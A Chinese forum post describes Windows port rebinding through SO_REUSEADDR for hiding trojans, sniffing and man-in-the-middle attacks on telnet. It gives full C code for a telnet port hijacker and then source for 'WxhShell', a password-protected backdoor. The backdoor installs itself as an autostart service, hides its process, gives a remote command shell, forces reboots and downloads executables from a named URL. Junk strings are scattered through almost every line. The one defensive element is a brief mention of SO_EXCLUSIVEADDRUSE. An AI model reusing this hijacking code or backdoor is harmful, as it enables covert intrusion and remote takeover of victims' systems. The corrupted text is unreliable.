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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ?W-J2tgss{  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ;A7HEx  
fz#e4+oH  
  saddr.sin_family = AF_INET; R h zf.kp  
vU0j!XqE  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); OQ;'Xo  
Oaf!\ z}  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); I9O!CQCTt  
+O>!x#)&"  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 0l#gS;  
kKFmTo   
  这意味着什么?意味着可以进行如下的攻击: (NK$2A/p  
QNj hA'[T  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 p!BZTwP  
cf)2GoV>e  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 0(\ybppx  
S^'?s fq  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 (dn(:<_$  
dmI,+hHtL  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ;S5*n:d  
h^h,4 H\r  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 A@-nn]  
xvOGE]n  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 j_Pt8{[  
U?97yc\$  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 VZB T'N  
%SuEfCM  
  #include :fz&)e9  
  #include awLN>KI]</  
  #include aTF~rAne<  
  #include    Q/&H3N  
  DWORD WINAPI ClientThread(LPVOID lpParam);   sN0S~}F+  
  int main() ( P|Ph  
  { 9,wd,,ta  
  WORD wVersionRequested; 1CK}XLdr  
  DWORD ret; F`KA^ZI  
  WSADATA wsaData; ,DsqKXSU  
  BOOL val; !N:!x[5  
  SOCKADDR_IN saddr; D{g6M>,\  
  SOCKADDR_IN scaddr; +ptVAg+  
  int err; k?ubr)[)  
  SOCKET s; U/'"w v1y  
  SOCKET sc; x LR 2H>B}  
  int caddsize; Ex2TV7I  
  HANDLE mt; 7wS )'zR;  
  DWORD tid;   0Ou;MU*v  
  wVersionRequested = MAKEWORD( 2, 2 ); H1X38  
  err = WSAStartup( wVersionRequested, &wsaData ); K0$8t%Z.  
  if ( err != 0 ) { ; mnV)8:F  
  printf("error!WSAStartup failed!\n"); ^Uss?)jN4  
  return -1; 17g\XC@ Cl  
  } tj/X 7|  
  saddr.sin_family = AF_INET; 4#Wczk-b  
   1H sfCky{  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ? RL[#d+y  
%&m/e?@%I  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); &1)4B  
  saddr.sin_port = htons(23); 1Q1NircJ  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 8JxJ>I-9p  
  { 1FCqkwq[  
  printf("error!socket failed!\n");  x~p8Mcv  
  return -1; Im7<\ b@  
  } P(pw$ q$S  
  val = TRUE; h{xC0NC)  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 vW,dJ[N6jm  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) wz^Q,Od  
  { Ojqbj0E9  
  printf("error!setsockopt failed!\n"); .y'iF>QQ\  
  return -1; 6\>S%S2:  
  } 1|$V  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; [iVCorU  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 'q%56WAJ  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击  pleLdGq  
ArWMbT>Zqw  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 6[fpe  
  { Ay\=&4dv  
  ret=GetLastError();  eX7dyM  
  printf("error!bind failed!\n"); *ue- x!"c  
  return -1; /Y$UJt  
  } b|mWEB.p  
  listen(s,2); A;~lG3j4  
  while(1) xVk|6vA7  
  { GPBp.$q+B  
  caddsize = sizeof(scaddr); ?m.WqNBH7  
  //接受连接请求 S9/oBxGN  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ~\_aT2j0  
  if(sc!=INVALID_SOCKET) cojtQ D6  
  { 7PQ03dtfg  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 9gP-//L@  
  if(mt==NULL) +>3XJlZV  
  { '.Iz*%"  
  printf("Thread Creat Failed!\n"); k"_i7  
  break; -6lsR  
  } (iub\`  
  } So>P)d$8+  
  CloseHandle(mt); IvuKpX>*  
  } _IzJxAcJ  
  closesocket(s); y+b4s Ff  
  WSACleanup(); 9gNQ,c \gT  
  return 0; CqW:m*c  
  }   ?d@3y<A,~  
  DWORD WINAPI ClientThread(LPVOID lpParam) #ra"(/)  
  { (gN[<QL  
  SOCKET ss = (SOCKET)lpParam; *J^l r"%c  
  SOCKET sc; 7|4t;F!  
  unsigned char buf[4096]; ]7<}EG  
  SOCKADDR_IN saddr; M- inlZNR  
  long num; XaT9`L<  
  DWORD val; Z*&y8;vUQ  
  DWORD ret; n8W+q~sW%  
  //如果是隐藏端口应用的话,可以在此处加一些判断 N-XOPwx'  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   fik*-$V`  
  saddr.sin_family = AF_INET; GIXxOea1  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); TZ#(G  
  saddr.sin_port = htons(23); Yq~$Q4  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) j8Nl'"  
  { nnr g^F  
  printf("error!socket failed!\n"); `/]Th&(5  
  return -1; (-k`|X"  
  } 1, 5"sQ$  
  val = 100; Vl=!^T}l+  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) b4NUx)%ln  
  { b(^gv  
  ret = GetLastError(); `PML 4P[  
  return -1; }dnO7K  
  } I+nKaN+8i  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) G@s]HJ:  
  { +/!kL0[v  
  ret = GetLastError(); +; /]'  
  return -1; [[uKakp  
  } "},0Cs  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ODS8bD0!i  
  { X|o;*J](  
  printf("error!socket connect failed!\n"); b| e7mis@  
  closesocket(sc); yGGQ;!/  
  closesocket(ss); K@uUe3  
  return -1; tJ:]ne   
  } ey'x3s_  
  while(1) uZ[7[mK}n7  
  { P .I <.e  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 lw/zgR#|  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 k^A17Nf`2  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 6T3uv,2  
  num = recv(ss,buf,4096,0); fL3Px  
  if(num>0) | %E\?-TK  
  send(sc,buf,num,0); -1\*}m%1e  
  else if(num==0) .M Ni)+  
  break; S"t6 *fWr  
  num = recv(sc,buf,4096,0); ryhme\%l;f  
  if(num>0) Gyo[C98  
  send(ss,buf,num,0); 66A}5b4)]  
  else if(num==0) oW0A8_|9  
  break; |>w>}w`~  
  } :X1~  
  closesocket(ss); +{b!,D3sa*  
  closesocket(sc); )8BGN'jyi  
  return 0 ; 1oD1ia#  
  } |jh&a+4W  
c eH8  
UNx|+  
========================================================== .I~#o$6  
IZr~h9  
下边附上一个代码,,WXhSHELL $e(]L(o;  
>F@qFP N]  
========================================================== T6T3:DG_B  
px|y_.DB2x  
#include "stdafx.h" PKDzIA~T  
d4y?2p ?3  
#include <stdio.h> 5U%J,W  
#include <string.h> E cS+/  
#include <windows.h> "EA6RFRD  
#include <winsock2.h> N?Wx-pK  
#include <winsvc.h> X<pg^Y0  
#include <urlmon.h> kzMul<>sl  
Yd} Jz  
#pragma comment (lib, "Ws2_32.lib") /(/Z~J[  
#pragma comment (lib, "urlmon.lib") d! BQ%a  
)Dg;W6  
#define MAX_USER   100 // 最大客户端连接数 .Vohd@s9l  
#define BUF_SOCK   200 // sock buffer 0?DD!H)&w  
#define KEY_BUFF   255 // 输入 buffer 5AX AIPn)  
|I; tBqN{u  
#define REBOOT     0   // 重启 />wM#)o2  
#define SHUTDOWN   1   // 关机 HIK" Ce  
)<J|kC\r6c  
#define DEF_PORT   5000 // 监听端口 U[4Xo&`  
ll]MBq  
#define REG_LEN     16   // 注册表键长度 B=0U^wL  
#define SVC_LEN     80   // NT服务名长度 :5Y yI.T  
wR7Ja cKv  
// 从dll定义API C*+gQeK  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); L5+X&  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); )@vhqVv?  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); &sFEe<  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); P}YtT3. K  
*u?QO4>  
// wxhshell配置信息 %kS4v,I  
struct WSCFG { c"nowbf  
  int ws_port;         // 监听端口 E_fH,YJ?9  
  char ws_passstr[REG_LEN]; // 口令 FU{$oCh/5  
  int ws_autoins;       // 安装标记, 1=yes 0=no +"sjkdum1  
  char ws_regname[REG_LEN]; // 注册表键名 goE \C  
  char ws_svcname[REG_LEN]; // 服务名 ^Y;}GeA,  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 7WEh'(`  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 kIC $ai6.  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ^M:Y$9r_s  
int ws_downexe;       // 下载执行标记, 1=yes 0=no zmA]@'j  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ~}lYp^~:J  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 {;z{U;j  
JJIlR{WY_  
}; E{LLxGAEZ  
oFO)28Btv  
// default Wxhshell configuration k-:wM`C  
struct WSCFG wscfg={DEF_PORT, q <, b  
    "xuhuanlingzhe", 11'^JmKA  
    1, u-8b,$@Z>'  
    "Wxhshell", S.<aCN<@  
    "Wxhshell", e;|:W A  
            "WxhShell Service", A"S F^p  
    "Wrsky Windows CmdShell Service", J?oI%r7^  
    "Please Input Your Password: ", w5C$39e\G  
  1, ~CtLSyB  
  "http://www.wrsky.com/wxhshell.exe", >)Udb//  
  "Wxhshell.exe" >,Z[IAU.x5  
    }; 9\QeH'A  
uwL^Tq}Yh  
// 消息定义模块 cuw 7P  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; e9LP!"@EY  
char *msg_ws_prompt="\n\r? for help\n\r#>"; %>z4hH,  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; %9 q]  
char *msg_ws_ext="\n\rExit."; F K7cDaI  
char *msg_ws_end="\n\rQuit."; |)Q#U$ m  
char *msg_ws_boot="\n\rReboot..."; 6#J>b[Q  
char *msg_ws_poff="\n\rShutdown..."; yt5 Sy  
char *msg_ws_down="\n\rSave to "; N$!aP/b  
Bf21u 9  
char *msg_ws_err="\n\rErr!"; 8Q{"W"]O7  
char *msg_ws_ok="\n\rOK!"; NsPAWI|4  
;u(#-C2^{l  
char ExeFile[MAX_PATH]; *]7$/%.D  
int nUser = 0; Cr7T=&L  
HANDLE handles[MAX_USER]; 6YHQ/#'G~  
int OsIsNt; N4[`pXM6  
.jXD0~N8q  
SERVICE_STATUS       serviceStatus; [%0{7pz}  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; rN3qTp  
\&6^c=2=  
// 函数声明 l.@v@T(/  
int Install(void); $_ BoG  
int Uninstall(void); ~6Xr^An/Z  
int DownloadFile(char *sURL, SOCKET wsh); d3[O!4<T  
int Boot(int flag); >=6 j:  
void HideProc(void); <Jf[N=  
int GetOsVer(void); |3bCq(ZR\P  
int Wxhshell(SOCKET wsl); eT'Z;ZO  
void TalkWithClient(void *cs); *=2sXH1j  
int CmdShell(SOCKET sock); X([8TR  
int StartFromService(void); <hV%OrBz-  
int StartWxhshell(LPSTR lpCmdLine); 'vX:)ZDi  
Irc(5rD7   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ~pC\"LU`  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); JK/gq}c  
; u@& [  
// 数据结构和表定义 t@;r~S b  
SERVICE_TABLE_ENTRY DispatchTable[] = vG{lxPIj  
{ d:L|BkQ7*  
{wscfg.ws_svcname, NTServiceMain}, *y0=sG1+D  
{NULL, NULL} R<)^--n  
}; 7'g{:dzS*3  
:~{Nf-y0`1  
// 自我安装 Q,m&XpZ  
int Install(void) QVR8b3T@  
{ <2V:tj)?P  
  char svExeFile[MAX_PATH]; MQY}}a-oug  
  HKEY key; xXRlQ|84  
  strcpy(svExeFile,ExeFile); ng{ "W|  
Z1y=L$t8  
// 如果是win9x系统,修改注册表设为自启动 .N>Th/K8  
if(!OsIsNt) { vTl7x  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { W\pO`FL  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); m<e_Z~^G  
  RegCloseKey(key); ~PtIq.BY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?'IY0^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  Tb[1\  
  RegCloseKey(key); z[sP/{~z  
  return 0; k d9<&.y{  
    } fZtuP1- 4  
  } #]kO/Mr  
} 69? wZfj'  
else { I^l\<1"]  
wj{[g^y%  
// 如果是NT以上系统,安装为系统服务 KNG7$icG  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); NVX@1}  
if (schSCManager!=0) 'JRYf;9c  
{ T^DJ/uhd  
  SC_HANDLE schService = CreateService m#,AD,s  
  ( E;bv;RUio  
  schSCManager, u Wxl\+_i  
  wscfg.ws_svcname, wj2z?0}o  
  wscfg.ws_svcdisp, ;i,3KJ[L  
  SERVICE_ALL_ACCESS, /Y`u4G()  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , '/'dg5bfV  
  SERVICE_AUTO_START, l<)k`lrMX4  
  SERVICE_ERROR_NORMAL, od-yVE&  
  svExeFile, 2r"J"C  
  NULL, l 2ARM3"  
  NULL, +pY-- 5t  
  NULL, "j/jhe6  
  NULL, <<Q}|$Wu  
  NULL c0v6*O)  
  ); $1uT`>%  
  if (schService!=0) HZ[.,DuW  
  { ]99@Lf[^f  
  CloseServiceHandle(schService); )>(ZX9diV  
  CloseServiceHandle(schSCManager); B2^*Sr[  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ^oMdx2Ow#  
  strcat(svExeFile,wscfg.ws_svcname); WyU\,"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { %PlA9@:IZ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); uZml.#@4  
  RegCloseKey(key); phi9/tO\u  
  return 0; z'9U.v'M)  
    } E*"oA1/I  
  } >/+R~ n  
  CloseServiceHandle(schSCManager); 6 hiWgbE  
} 1d 1 ~`B  
} #SX-Y)> 1@  
ez14f$cJ+  
return 1; ?Q~o<%U7  
} IAi|4,y_L  
/@?lV!QiO  
// 自我卸载 Fv-~v&  
int Uninstall(void) \A 5Na-/9  
{ /liZ|K3A  
  HKEY key; ugzrG0=lx  
cBtQ2,<6  
if(!OsIsNt) { uI\6":/u  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { WXQ+`OH7  
  RegDeleteValue(key,wscfg.ws_regname); l.xKv$uOGR  
  RegCloseKey(key); kfgkZ"9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { vMzBp#MT  
  RegDeleteValue(key,wscfg.ws_regname); i:|e#$x  
  RegCloseKey(key); :E.T2na  
  return 0; >0JC u^9  
  } k] A(nr  
} lkW5<s_  
} PYiO l  
else { %.WW-S3  
T|-llhJ8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); )fl+3!tq  
if (schSCManager!=0) PJPKn0,W  
{ DN;|?oNZ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ]Q#k"Je  
  if (schService!=0) gKP=@v%-  
  { *)L~1;7j>  
  if(DeleteService(schService)!=0) { gu "@*,hL  
  CloseServiceHandle(schService); yRR[M@Y  
  CloseServiceHandle(schSCManager); Z~] G+(  
  return 0; 'fYF1gR4  
  } #$;}-*  
  CloseServiceHandle(schService); _%u t#  
  } gh `]OxA  
  CloseServiceHandle(schSCManager); \ #N))gAQ  
} V8rS~'{\  
} "(mF5BE-E  
p,BoiYdi  
return 1; tYp 185  
} u\(>a  
]Pe8G(E!  
// 从指定url下载文件 )jjL'  
int DownloadFile(char *sURL, SOCKET wsh) yN/g;bQ  
{ ]wwNmmE  
  HRESULT hr;  Vqr]Ui  
char seps[]= "/"; ar _@"+tZ  
char *token; jLn|zK  
char *file; Z*'<9l_1  
char myURL[MAX_PATH]; tgj 5l#P  
char myFILE[MAX_PATH]; LIll@2[  
gs&F .n  
strcpy(myURL,sURL); nrR2U`  
  token=strtok(myURL,seps); 6mqp`x`  
  while(token!=NULL) QjKh#sU&  
  { urg^>n4V]  
    file=token; (Q=:ln;kM  
  token=strtok(NULL,seps); bg5i+a,?  
  } QO:Z8{21So  
[X7gP4  
GetCurrentDirectory(MAX_PATH,myFILE); ??f,(om  
strcat(myFILE, "\\"); ZiPz~G0[^  
strcat(myFILE, file); \Vpv78QF;  
  send(wsh,myFILE,strlen(myFILE),0); 6xFchdMG{m  
send(wsh,"...",3,0); Dutc#?bT  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); PZVH=dagq  
  if(hr==S_OK) p6&<eMwFA  
return 0; @1D3E=  
else @Z5,j)  
return 1; o]WcODJdl  
y>cLG5v  
} #jsN  
Bus]OF>hu  
// 系统电源模块 4dy!2KZN  
int Boot(int flag) P`avn  
{ -f*5lkO  
  HANDLE hToken; |;\pAZ2  
  TOKEN_PRIVILEGES tkp; y&/bp<Z  
MnlD87x@X  
  if(OsIsNt) { J50n E~  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); WD1>{TSn  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 1'P4{T0 [  
    tkp.PrivilegeCount = 1; bokr,I3  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 0oZZLi  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); z4(`>z2a  
if(flag==REBOOT) { 2O- 4x  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 9I*2xy|I  
  return 0; Ta$55K0  
} uw/N`u  
else { 4C )sjk?m  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 3Kc9*]D  
  return 0; y\,,hs  
} ~NB|BwAh  
  } CM7NdK?I  
  else { \58bz<u"  
if(flag==REBOOT) { U "r)C;5  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ;NQ}c"9  
  return 0; '<QFf  
} N 'n0I^Y1A  
else { u}P:9u&h6X  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) BLAF{vVaf  
  return 0; my/KsB  
} FzykC  
} QNXoAx%I  
_.E{>IFw  
return 1; 9GsG*$-I  
}  f^KN8N  
) ~gIJW  
// win9x进程隐藏模块 +d?|R5{3  
void HideProc(void) KyQTrl.qdl  
{ 5$Kd<ky  
OT(0~,.GJ  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ex^9 l b  
  if ( hKernel != NULL ) ~0[(-4MA  
  { 0$0 215  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); p+5J  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); jT/P+2hMW  
    FreeLibrary(hKernel); p2< 927z  
  } 4>HaKJ-c#  
hk$I-  
return; O hRf&5u$  
} g7^|(!Y%  
!D?(}nag  
// 获取操作系统版本 a4 7e  
int GetOsVer(void) n 83Dt*O  
{ lr[T+nQ  
  OSVERSIONINFO winfo; mnBTZ/ZjS  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); }%AfZ 2g;h  
  GetVersionEx(&winfo); Qv g_|~n  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) |ICn/r~  
  return 1; >&ZlC E  
  else `7'^y  
  return 0; 2h#.:!/SMw  
} T 1R~^x1  
IuA4eDr^Y%  
// 客户端句柄模块 Onh R`  
int Wxhshell(SOCKET wsl) ]*gf$D  
{ cNN0-<#c  
  SOCKET wsh; Z9MR"!0  
  struct sockaddr_in client; O}(sn  
  DWORD myID; W /*?y &  
U|{4=[  
  while(nUser<MAX_USER) 1B:5O*I!J  
{ :R3iLy  
  int nSize=sizeof(client); *B \ @L  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); {'[VL;k  
  if(wsh==INVALID_SOCKET) return 1; V;^N:I\js  
FFcIOn  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); +'+ Nr<  
if(handles[nUser]==0) X y`2ux+>/  
  closesocket(wsh); Z:Vde^Ih  
else iz)r.TJ  
  nUser++; I3b*sx$  
  } uMpuS1  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); +IWf~|s  
K :kb&W  
  return 0; p_%,JD  
} SAj#+_db  
6k![v@2R  
// 关闭 socket xB[W8gQ6fa  
void CloseIt(SOCKET wsh) GmE`YW  
{ XA(.O|VZ  
closesocket(wsh);  (:o:_U  
nUser--; b|@zjh;]A7  
ExitThread(0); ZHUW1:qs  
} k}I65 ^l#  
nP<u.{q L  
// 客户端请求句柄 F6{/iF  
void TalkWithClient(void *cs) }Y|M+0   
{ sa _J6~  
PkZ1Db  
  SOCKET wsh=(SOCKET)cs; s;E(51V<>  
  char pwd[SVC_LEN]; W}"tf L8  
  char cmd[KEY_BUFF]; y\(xYB>T  
char chr[1]; @GGQ13Cj(  
int i,j; `IJ)'$pn  
/OB)\{-  
  while (nUser < MAX_USER) { Z!Z{Gm3  
a(*"r:/lD  
if(wscfg.ws_passstr) { )f8;ze  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &j ; 91wEn  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7E#h(bt j  
  //ZeroMemory(pwd,KEY_BUFF); ixK9/5T  
      i=0; Dgc6rv#  
  while(i<SVC_LEN) { F|y0q:U  
'Z=_zG/RX  
  // 设置超时 vM]5IHqeE  
  fd_set FdRead; 0%%y9;o  
  struct timeval TimeOut; JiO8 EIM  
  FD_ZERO(&FdRead); -q[x"Ha%  
  FD_SET(wsh,&FdRead); mxBx?xM-  
  TimeOut.tv_sec=8; O!hp=`B,jf  
  TimeOut.tv_usec=0; sZxTsUW  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); \IYv9ScAx  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Vgkj4EE  
N6p0`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )V+/@4  
  pwd=chr[0]; \ykA7Y%  
  if(chr[0]==0xd || chr[0]==0xa) { 6d6Dk>(V  
  pwd=0; K7.ayM 0  
  break; 3-6MGL9  
  } [` }w7  
  i++; {O).!  
    } 2L[!~h2  
2<h~: L  
  // 如果是非法用户,关闭 socket gR gB= C{  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); D5({&.X[-  
} 8z7eL>)  
PhV/WjCZ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); X8}\m%gCU  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); YlT&.G  
2TQZu3$c  
while(1) { %X^qWKix}m  
oR!h eCnu  
  ZeroMemory(cmd,KEY_BUFF); lq]8zm<\)]  
rZ5xQ#IA  
      // 自动支持客户端 telnet标准   \,n X/f  
  j=0; ;I80<SZ  
  while(j<KEY_BUFF) { J>G'H)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); EAm31v C  
  cmd[j]=chr[0]; &OE-+z  
  if(chr[0]==0xa || chr[0]==0xd) { P*>?/I`G  
  cmd[j]=0; fVa z'R  
  break; [\ Sd*-  
  } e-UWbn'~  
  j++; 1JdMw$H  
    } a5O$he  
%C #Ps   
  // 下载文件 #`= >Mza  
  if(strstr(cmd,"http://")) { 6/Yo0D>M$  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 4+nZ4a>LH?  
  if(DownloadFile(cmd,wsh)) |+JO]J#bc  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); )c1Pj#|  
  else py':36'  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `#85r{c$:  
  } C+ Y;D:  
  else { Z+EZ</'(a  
QmGK! H>3  
    switch(cmd[0]) { l Le&q  
  "'+C%  
  // 帮助 d(d3@b4Ta  
  case '?': { z.\\m;s  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);  $s]&9 2  
    break; '@WBq!p  
  } 8tf>G(I{  
  // 安装 9!_LsQ\)  
  case 'i': { Z,\(bW qF  
    if(Install()) N%q{CYF6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;14Q@yrZ0  
    else fhR u-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (E 8jkc  
    break; :RZ'_5P[If  
    } $sb@*K}:4  
  // 卸载 H8B.c%_|U  
  case 'r': { "R-j  
    if(Uninstall()) oRcP4k;d=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %}-ogi/c  
    else V4CA*FEA  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D'{ o3Q,%K  
    break; nygeR|:\  
    } vl}}h%BC  
  // 显示 wxhshell 所在路径 5 3pfo:1'  
  case 'p': { Xs"d+dc  
    char svExeFile[MAX_PATH]; 2$b1q!g<  
    strcpy(svExeFile,"\n\r"); vO"E4s  
      strcat(svExeFile,ExeFile); J|o<;9dg1  
        send(wsh,svExeFile,strlen(svExeFile),0); KyDd( 'i  
    break; ){u# (sW  
    } j5[ >HL  
  // 重启 -Gl!W`$I `  
  case 'b': { LV0gw"  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); k%-UW%  
    if(Boot(REBOOT)) ?$<~cD" Sw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); CI \O)iB  
    else { Bd;EI)JT  
    closesocket(wsh); yDe*-N\'W  
    ExitThread(0); L"?4}U:  
    } L8zMzm=-  
    break; x 2l}$(7  
    } $Op:-aW&  
